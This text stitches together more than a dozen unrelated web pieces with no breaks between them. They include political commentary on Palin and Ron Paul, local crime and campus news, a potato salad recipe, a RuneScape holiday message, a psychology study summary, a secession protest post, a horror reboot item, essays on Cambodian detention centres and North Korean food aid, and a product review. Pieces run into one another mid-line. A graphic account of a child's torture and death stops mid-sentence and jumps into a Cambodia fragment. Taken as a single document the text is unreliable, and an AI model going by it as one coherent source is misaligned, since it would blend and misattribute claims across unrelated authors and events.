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, arm and leg movement are toward their own body the liar takes up less space.
• A person who is lying to you will avoid making eye contact.
• Hands touching their face, throat & mouth. Touching or scratching the nose or behind their ear. Not likely to touch his chest/heart with an open hand.
And according to:
The Guide for Body Language Chart
‘hand(s) on heart (left side of chest) – Although easy to fake, the underlying meaning is one of wanting to be believed, whether being truthful or not. Hand on heart can be proactive, as when a salesman tries to convince a buyer, or reactive, as when claiming innocence or shock.’
What Gloria Borger’s body language may be saying, I realize I am interviewing a kind gentleman who is real and honest and I feel bad for what I just did.
After, Wolfe Blitzer then tries to soothe Borger by saying “It’s uh, It’s uh tough series of questions you asked him but uh you obviously had to ask them”
It’s clear that Dr. Paul finished the interview and calmly respectfully said thank you twice as Gloria demonstrated through her tone that she was apologetic.
Could it be that Gloria Borger had a fantastic interview with Dr. Paul discussing issues and receiving a refreshing set of clear answers unlike most politicians? Could it be that she actually respects Ron Paul and felt remorse for what she had done?Ever since John McCain chose Sarah Palin as his running mate, I've gotten confused about all the reasons I'm supposed to dislike Barack Obama. The previous reasons, in rough chronological order, were his lack of experience, his empty rhetoric, his flip-flopping, and his "celebrity." But Palin has made each one of those critiques moot. The "celebrity" attack on Obama has a particularly Dada quality right now as starstruck Republicans bask in the charisma of their adorable veep. (Coldest state, hottest governor, read signs at her rallies.) With her hunky husband, touching family life and plucky personal story, she is the candidate of the People. And by People, I mean People magazine.
The flip side for Republicans of losing most of their attack lines was supposed to be a series of virtues Palin would bring to the ticket: She's a reformer, a steadfast opponent of earmarks, a proponent of transparency and clean government. Subsequent reporting has revealed that Palin embodies the precise opposite of every one of these virtues. She appointed unqualified cronies, abused her power to punish personal enemies, and has displayed a Cheney-esque passion for government secrecy. Her boast of having put the state airplane on eBay was undermined by subsequent revelations that she failed to actually sell it on eBay.
The swift disintegration of Palin's anti-pork credentials has been especially amusing. After initially casting Palin as a dedicated foe of earmarks, and then having it revealed that she asked for and received enormous sums of earmarked projects, the McCain campaign has fallen back to the defense that she requested fewer earmarks than other Alaska pols. This is true: Even though Palin took ten times the national per capita average in earmarked spending, in this regard she still rates somewhat below average by the standards of the petro-kleptocracy of the state from which she hails. Yet this defense raises the question of why Ted Kennedy never thought to run for president on the slogan "He Never Took a Drink In His Life," and then, when challenged, point out that other members of his family are less sober than he.
The main complaint against Palin has been her lack of experience. That's fortunate for her, since "experience"--especially measured in a linear way--fails to capture exactly what Palin lacks. Yes, two years as governor is less than you'd like, as is four years as senator. The real problem, though, is that Palin has no record of thinking about national or international policy. Bobby Jindal, another Republican veep contender, has barely more experience than Palin, but he is a respected policy intellectual. Pat Buchanan ran for president without ever having served in elective office, but he had engaged more deeply than most presidential candidates in policy questions.
Engagement, not experience, is the difference between Palin's qualifications and Obama's. Obama has a longstanding interest in national and (to a lesser extent) international issues, and has answered questions on all those issues in extensive detail. Palin has dealt almost exclusively with parochial issues in a wildly atypical state. (Her fiscal experience, which consists of divvying up oil lucre, offers better preparation to serve as president of Saudi Arabia than the United States.) It's possible Palin has harbored a long-standing, secret passion for policy wonkery, but the few signs available thus far--her convention speech that spelled out "new-clear weapons," her evident lack of familiarity with the term "Bush Doctrine"--suggest otherwise. The Republican intelligentsia is frantically tutoring her while they run out the clock until November 4.
In lieu of opening Palin to regular questioning from the press corps, of the sort the other three candidates have all undergone many times before, the McCain campaign is helpfully leaking positive appraisals of her studiousness. "Despite the worries, [Palin] struck many campaign officials as more calm and cerebral than expected," reported Newsweek. "She was quick to ask questions, and to 'engage in a back and forth' with briefers." See, the McCain campaign says she's on the ball. That settles it, right?
But, somewhere in the recesses of my mind, this admiring appraisal of the prospective veep's intellect struck a familiar chord. With a quick search, I discovered that, indeed, the same was said of Dan Quayle in 1988. Twenty years ago, The Washington Post reported, "Bush aides, who were getting their first in-depth exposure to Quayle, were impressed by his attention span, the quality of his questions and the facility with which he moved through the agenda."
Other parallels stood out as well. Conservatives received Quayle's selection rapturously. L. Brent Bozell pronounced himself "ecstatic," and Jerry Falwell called the surprise pick "a stroke of genius." After a media frenzy, Quayle's speech was well-received. The convention hall burst into cheers of "We want Dan!" NBC anchor Tom Brokaw said that Quayle executed "flawlessly," and CBS's Bruce Morton called it "a good speech."
Questions about Quayle's readiness remained, but he did his best to turn them into elite condescension toward small town America. Quayle, in his acceptance speech, spoke movingly about the small towns in Indiana where he had grown up, and later disparaged Dukakis for "sneer[ing] at common sense advice, Midwestern advice."
Today, Quayle is remembered as a disaster. But, during the campaign, his supporters believed that media skepticism of Quayle had rallied ordinary Americans to his side. Dukakis "looks down on his fellow Americans. He looks down on Bush and Dan Quayle as--in his word--'pathetic,' " wrote right-wing columnist Michael Novak. "Thus, the 'feeding frenzy' of the press in New Orleans stirred a national backlash. It united all the scorned of America as one."
Conservatives are saying the same things about Palin. "Elite opinion," insisted McCain strategist Steve Schmidt, "looks down with contempt at people who are not part of their world." As Palin herself said, "If you're not a member in good standing of the Washington elite, then some in the media consider a candidate unqualified for that reason alone." To the right, the mere fact that the press questions her fitness proves that she is one of them.
As the original rationales for Palin melt away, this bond has become unshakable. Her lack of qualifications turns out to be her greatest qualification.
By Jonathan Chait
Reprinted with permission from The New RepublicMan charged in Waukegan standoff
hello
A Waukegan man was charged Saturday with several counts related to firearms after a standoff with police late Friday, police said.
Donald O. Palmer, 37, of the 300 block of George Avenue, was charged with aggravated battery with a firearm, aggravated discharge of a firearm, unlawful use of a weapon by a felon, unlawful possession of firearm ammunition by a felon, unlawful possession of a stolen firearm, obstruction of justice, and violation of parole, said Sgt. Dave DeBaufer. He is scheduled for a bond hearing at 9 a.m. today.
The standoff began when police surrounded an apartment building on the 300 block of George Avenue in Waukegan after a woman called 911 at 10:50 a.m. Friday and then hung up.
Police spoke with the woman, who had exited the building, and she was unhurt, but the suspect refused to come out. Officers were aware of an active arrest warrant for Palmer related to a shooting in the neighborhood a week earlier when a man was shot in the back.
Police evacuated the two other units in the three-flat. Area schools were put on lockdown about noon, and an emergency response team was called in through the Northern Illinois Police Alarm System, DeBaufer said.
At 7:40 p.m., numerous canisters of CS gas, similar to tear gas, were sent into the building in order to force Palmer out, DeBaufer said. NIPAS officers then entered the building and Palmer was taken into custody without injury to him or law enforcement personnel. A.22 caliber handgun was found by the tactical team that is believed to have been in Palmer's possession, police said.
The building was rendered temporarily uninhabitable due to the gas and the city of Waukegan made arrangements for all of the building's tenants to stay in an area hotel. Work to decontaminate the entire area and get people back into their homes continued Saturday, with residents expected to return later in the day, DeBaufer said.
Palmer was taken to the Waukegan Police Department where he faces charges related to last week's shooting as well as additional charges in Friday's standoff.
Palmer was paroled in March by the Illinois Department of Corrections after serving prison time for a previous robbery conviction. As a result of the recent events, Palmer's parole will likely be revoked and he will have to serve the additional time remaining on his original sentence in addition to any time he may receive for the current charges, DeBaufer said.
"The Waukegan Police Department is grateful to all of the personnel from the Waukegan Police Department as well as the personnel from NIPAS and neighboring cities, without whom this incident may have ended less favorably," Waukegan police said in a statement.UCSB, the humble research institution that puts the college in Isla Vista’s status as a college town, will be host to a full-blown Hollywood film premiere this Friday, April 8, replete with appearances by cast members, medieval-style feasting, and three separate screenings of the film in question—Your Highness. UCSB earned by honor by prevailing in an online competition hosted by the Web site Eventful, besting schools like Rutgers University, UC Irvine, and Santa Clara University (which came in second, third, and fourth, respectively).
While the appearance of James Franco at Storke Plaza would make any Gaucho excited, the spoils will probably be sweetest for the four students who started the viral campaign that helped make the event a reality.
UCSB students Sarah Cho, Ramin Rezvani, Paulina Cassimus, and Hilary Campbell worked as a team to help UCSB rise to number one. Going beyond merely casting their votes on the Web site, each student put in long hours to rope in voters.
Campbell was “the catalyst” for the creation of the Web campaign, according to Cho. “Hilary founded [the] Web site and sent out messages to the film list-serve. Paulina created the Facebook event and Twittered,” Cho said.
Further steps were taken by Rezvani, who, while joining the project later than the three women, also took steps to spread the word. “I called KJEE and asked if they would be willing to do a shout-out on the radio. I also contacted KEYT and the News-Press,” Rezvani said. “It was kind of difficult to get them to do anything because we’re kids.”
Rezvani also started a Facebook group urging people in his hometown of Santa Rosa to vote for UCSB in the competition (a move that was legal, as anyone could send in a vote for a school, regardless of whether or not they attend). It appears that not all the schools apparently followed the rules so precisely. “Santa Clara was [called out] for having unsavory voting practices,” Rezvani said. “I was the Facebook admin, and before that people were getting disheartened by the fact that other schools were ahead.”
More traditional ways of spreading the word were used as well. “We printed out about $100 worth of fliers,” Rezvani said.
This whole viral campaign was orchestrated during a time when other students were staring at numbers on computer screens for an entirely different reason. It was finals week. “We pulled two all-nighters in a row,” Cho said. “I have an iPhone, so even during work, I was constantly messaging people.” Rezvani, too, was distracted from his studies by conducting the viral campaign. “I could have spent 30 extra hours in the library. I was spending a lot of time on the computer, asking friends and family to vote,” he said.
According to Joe Palladino, the undergraduate advisor for the Film and Media Studies Department, UCSB’s rise in the contest was rather meteoric. “The first day they were number 67,” Palladino said. “Within 24 hours, they went to number 7. In four days they went to number 1.”
Palladino noted that the students involved in this campaign also contribute their effort and creativity to other arts-related endeavors in the community. “These students are energetic with a bunch of different other things,” he said. Cho cofounded Playwright’s Circle, which recently put on an “anti-Valentine’s Day play festival.” She is also a part of Work in Progress, an improv group. Rezvani, active in UCSB’s film department, is involved in a two-quarter class at UCSB wherein students create a short film, and where he acts as a producer.
The premiere will be held in UCSB’s Pollock Theater, a state-of-the-art venue that has only recently been completed. Winning was “kind of poetic because we just finished the Pollock Theater,” Rezvani said.
Coordinating the screenings of Your Highness—as well as the surrounding red carpet, food, and festivities—has been something of a challenge. “It all has to come together in a very short amount of time,” Palladino said. “I’ve been on the phone with Universal every couple of hours, and they have been super about it.” After finding out just last Saturday, March 26, that the event was a go, Palladino has had to deal with a massive logistical undertaking involving the police, the fire department, Associated Students, and how to feed well over a thousand guests fare that will appease both meat-eating and vegetarian students. That being said, Palladino seemed confident about Friday’s premiere.
“Everything has been running smoothly,” Palladino said.Sometimes I just want a different type of salad when I’m having a bbq (which is year round in California, just being honest here). Potato salad is always a hit in this house but I can never live up to my Mother In Law’s salad according to my husband. That’s totally cool, I don’t try to replicate, I just make something different.
And this potato salad is different. Bonus, you can leave it out at a picnic, no mayo! And not very much oil to make up for it. The consensus was “THIS ROCKS!” and leftovers got eaten even if it isn’t very photogenic. It’s a nice change from a creamy or oily potato salad with no oomph. The spices are to taste so if your family likes it a bit hotter, adjust your hot sauce and spices. It’s all up to you! I measured to give you a gauge and this was rated above the burgers among the meat eaters.
Spicy Vegan Potato Salad Recipe Ingredients 4-5 medium red potatoes
1 dill pickle
1 shallot
1 stalk celery (optional)
1/2 green bell pepper (optional)
1 Tbsp spicy brown mustard
2 Tbsp olive oil
2 Tbsp vinegar
1 tsp garlic powder
1 tsp smoked paprika
1 tsp chili powder
1 Tbsp hot sauce
Instructions Cut potatoes into bite size pieces and boil until cooked through. Finely chop your pickle, celery, shallot and bell pepper, then set aside. In a bowl big enough to fit your potatoes and chopped veggies mix the oil, vinegar, spices, mustard and hot sauce. Spice it how you see fit. Drain the potatoes and pour them into the bowl with the oil and vinegar dressing you just prepared. Add your chopped veggies in the potato bowl and mix everything together with a spoon carefully so as not to mash up the potatoes Refrigerate for a few hours until chilled or overnight. Serve chilled. 3.1 http://www.killerbunniesinc.com/2014/03/spicy-vegan-potato-salad-recipe-sundaysupper/
Salads, Soups, Stews and Starters
“Meat”balls
Pastas, Pizzas and Casseroles
Burgers
Tacos & Everything Wrapped
Other Main and Side Dishes
Join the #SundaySupper conversation on twitter on Sunday! We tweet throughout the day and share recipes from all over the world. Our weekly chat starts at 7:00 pm ET. Follow the #SundaySupper hashtag and remember to include it in your tweets to join in the chat. Check out our #SundaySupper Pinterest board for more fabulous recipes and food photos. Would you like to join the Sunday Supper Movement? It’s easy. You can sign up by clicking here: Sunday Supper Movement.Hello Everyone!
It's once again that time of year when the Jagex office gets eerily quiet, the Christmas holiday event winds down (penguin onesie!) and we return home for presents, good cheer and full bellies. It all makes for the perfect time for the Christmas Speech!
From all of us at Jagex (most of whom are driving home for Christmas) we wish you a very merry Christmas! Your enthusiasm has kept RuneScape going strong for yet another year, and we are very, very lucky to have players as dedicated and passionate as you.
You have let us know when things are great (Dimension of Disaster, Boss Pets, Lord of Vampyrium) and when things haven't been quite as great (Darklight and a couple of others we won't linger on). We are wiser and more determined to do right by you in the New Year. Let’s make every update worthwhile and keep the game in increasingly good shape. Thank you all!
* * *
As for 2016, it's hard to underestimate just how excited we are about it. I know we say that every year, but this one feels a little different. There are two big reasons for that.
The first is that RuneScape is, crazily, almost 15 years old. 15 years! We pass that big milestone on the 4th of January. It has given us perspective on what this little game, born in the Gowers' basement, means to so many. RuneScape has defied all odds to be around and relevant for so long, and it's given us all a renewed enthusiasm to keep going strong for another 15.
You can be sure that we will be celebrating big in 2016, and the 4th of January is only the start. You can expect goodies aplenty on the big day. Over the year we will reopen RuneScape Classic, release a feature-length documentary covering the whole of RuneScape’s 15-year history, and bring you update after update, each making us misty-eyed for the days of RuneScape-past. God Wars Dungeon 2 is both nostalgic and new (we’re going hell-for-leather to make sure that update’s awesome), while a Mining and Smithing rework will bring the love to two of our oldest skills. Not to mention the Gower Quest which has given us the opportunity to work with Andrew and Paul (the original creators of RuneScape) once again!
* * *
The other big reason we're excited is that we have found a new focus: to bring you what you want, and what the game needs. It sounds obvious, but this has really motivated us and allowed us to make big changes, the biggest of which has been the move to one huge update every month. We are no longer panicking about bringing you something every week. Instead, we have a bombastic, impressive update each month, supported by smaller updates, sharing the same theme as the bigger update, to give you bang for your buck along the way. By moving to big releases, we can give you the game-changing updates you've been yearning for.
Below you’ll find every big update of 2016 minus those smaller, related updates. We love this list, and we hope you do too:
God Wars Dungeon 2
Mining and Smithing Rework
Gower Quest
NXT
Invention skill
Player Power Area – your chance to pitch a completely new city, island or area of the RuneScape world! Head over to RuneLabs to record your concept.
Nomad's Elegy
Fate of the Gods 2
Ballad of the Barrows Brothers
Sliske's Endgame
Raids 2
A new, solo boss challenge
That should give you a little Christmas cheer - it certainly gets the hairs standing up on our necks! We have every confidence that we can deliver each of those in 2016, and we'll aim to make sure that none disappoint.
* * *
Other things that really must be mentioned in this manifesto are Old School RuneScape and Chronicle.
Old School will be entering its 3rd year in grand style with the upcoming new continent Zeah. What better way to revel in the spirit of RuneScape than by exploring a new land? Old School players can also look forward to seasonal Deadman Mode servers with $10,000 winner-takes-all tournaments, scaleable boss raids with up to 100 players at a time, going ape with Monkey Madness 2 (the legendary quest from 10 years ago returns) and so much more! The Old School team look forward to talking and streaming with you throughout the coming year.
Chronicle: RuneScape Legends is also powering through its beta phase. We are really enjoying watching you play and send us feedback. It’s clear that Chronicle is also building a tremendous community in the ever-growing RuneScape universe. If you’ve not already seen it, the gameplay trailer is well worth a look!
* * *
To round off this increasingly rambly speech (so that you can get back to your wrapping or unwrapping) we wanted to note some things that are important to us in the New Year. While they may not be updates, you'll see these themes returned to over and over again as we look to buff the game to a bright sheen.
First of all, we want to simply declutter and refresh RuneScape for new and old players alike. We also want to bring more interesting and varied gameplay into the latter levels of the game. Invention is going to help, but we don't want to stop there: how can we make non-combat skills worthwhile? How can we give you strong, desirable goals? Finally, there are clear things we can do to modernise the game and make sure it doesn't get left behind. NXT is just the start, and we want our updates to push the new client to its limits.
As you can imagine, we have a lot of work to do. But we can't wait to get going in 2016 and really wow you with it. The reaction we get from you is our biggest motivator, bar none.
So, before we get too sappy, it is time to sign off and wish you a very Merry Christmas and a Happy New Year. We hope you are as excited about 2016 as we are!
The RuneScape TeamAnxiety and uncertainty can cause us to become more idealistic and more radical in our religious beliefs, according to new findings by York University researchers, published in this month's issue of the Journal of Personality and Social Psychology.
In a series of studies, more than 600 participants were placed in anxiety-provoking or neutral situations and then asked to describe their personal goals and rate their degree of conviction for their religious ideals. This included asking participants whether they would give their lives for their faith or support a war in its defence.
Across all studies, anxious conditions caused participants to become more eagerly engaged in their ideals and extreme in their religious convictions. In one study, mulling over a personal dilemma caused a general surge toward more idealistic personal goals. In another, struggling with a confusing mathematical passage caused a spike in radical religious extremes. In yet another, reflecting on relationship uncertainties caused the same religious zeal reaction.
Researchers found that religious zeal reactions were most pronounced among participants with bold personalities (defined as having high self-esteem and being action-oriented, eager and tenacious), who were already vulnerable to anxiety, and felt most hopeless about their daily goals in life.
A basic motivational process called Reactive Approach Motivation (RAM) is responsible, according to lead researcher Ian McGregor, Associate Professor in York's Department of Psychology, Faculty of Health. "Approach motivation is a tenacious state in which people become 'locked and loaded' on whatever goal or ideal they are promoting. They feel powerful, and thoughts and feelings related to other issues recede," he says.
"RAM is usually an adaptive goal regulation process that can re-orient people toward alternative avenues for effective goal pursuit when they hit a snag. Our research shows that humans can sometimes co-opt RAM for short term relief from anxiety, however. By simply promoting ideals and convictions in their own minds, people can activate approach motivation, narrow their motivational focus away from anxious problems, and feel serene as a result," says McGregor.
Researchers also measured participants' superstitious beliefs and deference toward a controlling God in order to distinguish religious zeal from meeker forms of devotion. "Anxiety-provoking threats sometimes also cause people to become paranoid and more submissive to externally-controlling forces, so we wanted to rule out that interpretation for our results," he says. Anxious uncertainty had no effect on either superstition or religious submission.
Findings published last year in the journal Psychological Science by the same authors and collaborators at the University of Toronto found that strong religious beliefs are associated with low activity in the anterior cingulate cortex, the part of the brain that becomes active in anxious predicaments.
"Taken together, the results of this research program suggest that bold but vulnerable people gravitate to idealistic and religious extremes for relief from anxiety," McGregor says.Friday afternoon a few of us went down to the Post Office in Portsmouth to advocate for New Hampshire secession. Shortly after we arrived a man wearing a DHS uniform and open carrying two handguns approached us,
presumably on behalf of the Post Office, and ordered us to vacate the property. The agent stated that protesting on Federal “Property” without a permit is illegal, and that we could protest on the sidewalk since the sidewalk is “owned” by the city. One protester wanted to give the DHS agent a copy of the 1st Amendment as a permit. The agent responded that the 1st Amendment was not a permit, that doesn’t work, permits are easy to get, and we had to leave Post Office “property”- which most, but not all, of us had already done.
For the most part, after being threatened with kidnapping and robbery by agents acting on behalf of the Post Office, everyone stayed on the sidewalk. Shire Dude did at one point put one foot on the Post Office’s “property” just to film himself doing it, but he wasn’t holding a sign at the time, so in my (non-legal) opinion he technically didn’t violate the terms of the threat. Rich Paul held a sign and stepped back and forth saying “illegal, legal.”
Overall, and to my surprise, the reactions overall were positive. Several people took Derrick J’s survey. https://www.facebook.com/photo.php?fbid=971515182947331&set=a.334508636647992.70276.100002665766955&type=3&theater Two men stopped and spoke with me on some of the practical effects of secession. They seemed mostly worried about retribution from the US Government. One woman did not want to talk to us because she believed that the Gadsden Flag we had was a Tea Party symbol. After she was told that the flag pre-dated the Tea Party she spoke to us and was pleasant, though she seemed to disagree with secession. Most people appeared to be in favor of at least looking into secession as a realistic option.
A few people had negative reactions. I assume that all of these people advocate the existence of the State. Which is somewhat ironic, as it is highly likely that the only reason we are able to protest at all is because the State exists. Aside from the fact that, in my opinion, there would be little left to protest in the absence of the State, there would be nowhere to do it. Protesting on private property without the consent of the owner is trespassing. I would even argue that it is trespassing if the private property is generally open to the public. Typically stores and the like grant conditional invitations- you may enter the property to engage in business with the store, not to advocate for secession. But the State defends land and claims to own it; this results in the existence of ownerless land. It is moral to use ownerless land for any purpose, including protesting, as long as you do not otherwise violate the NAP. It also happens to generally be legal. I doubt that most business owners, especially most business owners in highly trafficked areas- which are the areas that we seek to protest on, would allow us to advocate for what is usually a minority opinion on their land. It is also highly unlikely, I would claim impossible, that there would be large tracts of unowned land in the middle of highly trafficked areas, if the State did not impose commons. If protests are a tragedy, they are a tragedy of the commons.It was only five years ago that Michael Bay ’s Platinum Dunes released their reboot of A Nightmare on Elm Street, starring Jackie Earle Haley as iconic boogeyman Freddy Krueger. That reboot didn’t go over so well — Haley was the only highlight in an otherwise drab and underwhelming horror flick. It seems New Line didn’t learn much from that attempt at restarting the franchise, as the studio is currently plotting yet another reboot.
According to The Tracking Board, New Line Cinema is moving ahead with another reboot of A Nightmare on Elm Street, based on Wes Craven ’s 1984 horror classic that kickstarted a long-running franchise. That franchise culminated with Freddy vs Jason, which pitted the franchise boogeymen against one another in a fairly OK mashup.
Plot details for New Line’s new Nightmare reboot are currently unknown, though the film will certainly feature the iconic killer. Per his mythology, Krueger was a child-killer who was ultimately exonerated due to a legal technicality. Local parents rallied together and trapped him in a boiler room, where he was burned alive. Krueger resurfaces years later, appearing in the nightmares of teenagers who live in his old neighborhood and taking his revenge by murdering them in their sleep.
The reboot is being written by David Leslie Johnson, the screenwriter behind Orphan, the 2009 psychological horror film.EXCLUSIVE
WARNING: Distressing detail
HENRY wept silently as he remembered the last time he saw his beloved nephew Joseph in an intensive care hospital bed, his pale, emaciated body gashed and bruised.
Of all Joseph’s uncles who grieve over what their sister did to Joseph, Henry was the one who saw the three-year-old before Westmead Hospital’s ICU switched off life support.
It was only seven weeks since the happy, healthy little boy had been taken by his biological mother from Henry’s family into the house where she tortured and fatally injured the boy.
At Westmead Children’s Hospital outside the ICU, Henry was refused entry by his sister to see his nephew.
Then just 21 years old, Henry had been called out of a university exam with the news Joseph was in Westmead. At the hospital he begged his sister until she grimly relented.
In the ICU ward, Henry first went to the bed of another child because he didn’t recognise his nephew.
When a nurse finally directed him to his nephew’s bed, the condition of the unconscious broken little boy seared an image in Henry’s mind he’ll never erase.
“He was pale and skinny, had a shaved head, gashes on his forehead,” said Henry, tearing up at the memory.
“I ripped the blanket off and there were all these wires and tubes linking him up to machines.
“He wasn’t the little boy that was in my house.
“My sister and [her de facto] said he’d tripped on dog leads. I knew it was bull***t as soon as I saw Joseph.”
Details of Joseph’s horrific torture shocked the nation as they emerged during his mother and stepfather’s murder trial, where the couple were called “LN” and “AW”.
The couple taped the boys’ eyes shut, taped a ball in his mouth, taped his hands behind his back, beat him and held him down in a freezing, ice-filled Esky.
Henry has now made the startling revelation that his sister and her de facto, sentenced to 30 plus years in prison, took the boy in in order to get their hands on welfare payments.
“They wanted him back for the benefits,” Henry told news.com.au in an exclusive interview.
“[AW] was getting carer’s leave for my sister and got more money if Joseph went back.
“He changed Joseph’s last name to his.
“After Joseph was born, my sister had tried to give him away to neighbours. My mum found out and we took him.
“We had him for three years when she decided she wanted him back.
“She told Mum she wanted to reconnect with her son. I had a bad feeling about it from the start.
“All his uncles had taught him something different, so he wasn’t a weak kid.
“He was a loud, beyond bright little boy who really loved attention and we gave him a lot.
“He would have stood up to them, which is why they taped his eyes shut.”
An emotional Henry, now 24, represented the family by attending every day of his sister’s murder trial.
He said the general public and even members of his family should never know the full, gruesome extent of Joseph’s persecution.
But he questioned LN’s widely-publicised “excuse” for tormenting Joseph, that the boy looked “like his biological father” who had cheated on her.
Henry said the boy’s real father was an honourable man who had died from cancer before Joseph was born.
He has decided to tell the story of Joseph’s mother as he and his family come to terms with the aftermath of the murder trial.
“I thought I’d feel better about the fact [LN and AW] were convicted and got heavy sentences,” he said.
“But I don’t.
“In prison [AW] has had his jaw broken, his arm and his leg.
“The jury went out for a week and then convicted them — I was sitting in the trial waiting for this very thing.
“But when it came it wasn’t enough. Joseph was still dead.”
Henry’s family is trying to make sense of what happened to little Joseph at his mother’s hand.
He said Joseph’s mother, referred to in the trial as LN, was the second eldest of 10 siblings born to a Tongan mother and Australian father.
Henry said LN hadn’t liked their mother’s strong emphasis on discipline, and had married young, moved away and severed all contact with the family.
“That was from when I was about four years old till when I was 18,” Henry said.
“She was pregnant with Joseph to her second partner, who’d encouraged her to touch base back with Mum.
“Then he died of cancer before Joseph was born, on April 13, 2011.”
Henry was in the middle of his HSC when his mother took in Joseph, who he says LN “was happy to unload”.
Joseph became his uncles’ little brother, and quickly assimilated into the large Tongan-Australian family.
“I just love children, all my little nieces and nephews I just clicked with them,” Henry said.
“In Tongan culture the youngest brothers have to respect the eldest and so my little brother seized on the opportunity to teach Joseph things.
‘[One uncle] taught Joseph a love of adventure, PlayStation games and racing cars, and [another] photography on an iPad, the creative side.
“[The youngest uncle] tried to teach him not to take any shit from anyone older or bigger and how to do wrestling moves in the lounge room.
“If you laid down on the floor in the lounge room for long enough Joseph would come in and do a massive frog splash on you.
“He was absorbing it all from his uncles.
“He went from king of the castle to not being treated as human, worse even than her dogs.”
When LN demanded her son back, Henry’s mother tried to argue Joseph stay put and see LN on visits.
But LN threatened legal action against what had been an informal agreement for Joseph to reside with his extended family.
In the weeks prior to taking him back, LN visited Henry’s home frequently but Joseph was not very receptive to her.
“After half an hour he would be over it and wanted to be back with the boys, he would get upset.
“She was aware of that, but she said she had enough mother skills to change his mind.”
When LN finally took Joseph to live with her and AW three hours away in Oberon, in the Blue Mountains, she assured the boy they were going on a little shopping trip.
LN told her mother she would stay in touch and bring Joseph back to visit.
“As soon as he left, we didn’t hear a single thing, not a phone call,” Henry said.
“We missed him, but I was busy mid-term at uni. Dad was ill.
“Mum made a number of calls and begged [LN] to promise to bring him back for my 21st, but she called up and said Joseph was sick.
“Whenever Mum or anyone rang her, Joseph couldn’t come to the phone for some reason.”
It was June, 2014 and after Joseph left, the Henry’s father’s health collapsed.
Diagnosed with dementia, he would wander from the house “looking for Joseph”.
The family was busy with his decline and the weeks rolled by until Sunday, August 3 when police and paramedics were called to a house in Oberon.
A mother, LN, |
parties where international donors outlined the support they were providing to Prey Speu.
Richard Bridle, Unicef's country director for Cambodia, declined an interview with the Guardian.
But in a statement Unicef said that it "technically and financially supports the ministry of social affairs, veterans and youth rehabilitation (MoSAVY) and related institutions to regulate, oversee and monitor child welfare and ensure provision of social and child protection".
Last year, Unicef gave £390,000 to the ministry of social affairs. When similar criticisms of the Choam Chao youth rehabilitation centre emerged this year, Unicef withdrew £17,750 in funding and the centre immediately closed.
But Unicef says no direct assistance is given to Prey Speu.
The UN secretary general, Ban Ki-moon, spent two days in Cambodia this week. During a brief press conference in Bangkok in advance of the visit, the Guardian submitted a question to Ban about the UN's role in supporting the centres, but the request was rejected.
Cambodia's ministry of social affairs has previously denied all allegations of abuse, saying that centres such as Prey Speu offer rehabilitation and vocational training. It defends its policy of "street sweeps" – removing beggars, the homeless and sex workers from the streets of the capital – saying they "provoke public disorder and affect [the] dignity and morality of Cambodian society".Kim Jong-Il’s regime doesn’t make it easy to help his country’s starving population. But in the long run, offering aid is the lesser of two evils.
The Obama administration has been deliberating for months now whether to resume food aid to North Korea. And, with North Korean representatives now being joined by international relief organizations in citing the threat of famine, there would seem to be an easy case for resuming assistance. Or at least it would be easy — if it were virtually any other country in the world.
The US government has traditionally been the largest source of international food assistance to North Korea, supplying almost $800 million of food aid to the country. Almost all of this was flown through the UN World Food Programme – until Pyongyang’s decision a few years back to refuse to accept the WFP’s strict conditions led to a suspension of deliveries.
And, although conditions aren’t as bad as during the mid-1990s famine, when perhaps a million people died due to a lack of food, there’s general agreement that most North Koreans are suffering from insufficient food consumption. Indeed, missions from several US and other foreign relief organizations have seen starving children eating grass.
The European Commission decided in July to spend €10 million ($14.5 million) to provide sufficient emergency food aid for at least 650,000 of the most vulnerable people in North Korea, focusing on children under five, pregnant and breastfeeding women, hospital patients and elderly people living mainly in North Korea’s northern and eastern provinces. The EU will distribute its aid through the WFP, and has received pledges from North Korean authorities that the deliveries will be strictly monitored.
Still, there’s general agreement that the North Korean government is almost entirely responsible for the famine and other calamities plaguing its people. The government’s skewed economic and political policies have resulted in its prioritizing defence spending and other spending categories besides food, sanitation, health care, and essential public services. Its restrictions on economic activity, combined with the political criteria that govern the government’s centrally controlled food distribution system, has also prevented food from reaching the neediest people even when it’s available.
For example, the country’s best products, as well as imported luxuries, often go to the elites in charge of the country’s security forces and other institutions. Unlike many former communist countries, the North Korean leadership has declined to introduce major reforms in what remains essentially a Stalinist-style command economy for fear of undermining this patronage system and allowing market freedoms that might encourage greater demands for political liberties.
Most recently, the North Korean government mismanaged a comprehensive currency reform introduced in 2009. The policy ended up impoverishing many North Koreans by wiping out their savings, depriving them of the means to purchase adequate food and other goods. Meanwhile, last winter was much colder and longer than usual, while this summer saw heavy rainfall. The elevated international prices for oil and food have reduced the volumes of these goods that North Korea is buying for imports. Although like other countries North Korea suffers from floods, crop and livestock diseases and other natural disasters, its government’s policies have left many North Koreans excessively vulnerable to such calamities.
Of course, the country’s culpability alone wouldn’t prevent the United States and other countries from providing assistance. After all, they’ve given help to needy inhabitants of the Soviet Union, Sudan, and many other people suffering due to government mismanagement. These people typically have little say in their governments’ policies. In addition, there’s a widespread principle that humanitarian aid decisions should be above politics.
But many people consider North Korea to be an especially odious recipient of international assistance. Its government’s foreign policies are as horrific as its domestic practices, and the country is presently the regime most clearly in violation of its non-proliferation commitments. Not only has it regularly peddled nuclear and ballistic missile technologies on international markets to rogue actors, but Pyongyang has already tested two nuclear explosive devices and is trying to perfect a long-range ballistic missile capable of reaching the United States.Last year I bought a beautiful skirt that I didn't wear right away because it was a little short and I wanted to add something at the bottom in order to add some length to it. Unfortunately, I procrastinate on this project for many months, until I finally did it last February. I thought that finally I was going to show my skirt off soon, but sadly I discovered that I had packed a few pounds during the Holidays, and now my skirt doesn't fit quite well. Of course, I tried to diet, but that didn't get rid of those lousy pounds, so I thought I was completely doomed... Well, that was until a couple of weeks ago, when I found this pant stretcher, and then a ray of hope descended from Heaven to illuminate my path... Me being an eternal procrastinator, it took me a few days to try this stretcher out once I got it, but let me tell you, once I did I found out that it works! I followed the instructions provided by the seller, and an hour later I tried my skirt on and... well, I won't lie to you, the skirt is still a little snug, but definitely I can feel a difference, so I'm convinced I'll be seeing better results if I use the stretcher on that skirt for a longer period of time. The only thing I don't like about this product is the fact that the wood pieces are a little rough, so you have to be careful not to scratch your clothes, but that's something that can be easily fixed by putting some pieces of paper or plastic between the wood and the fabric.
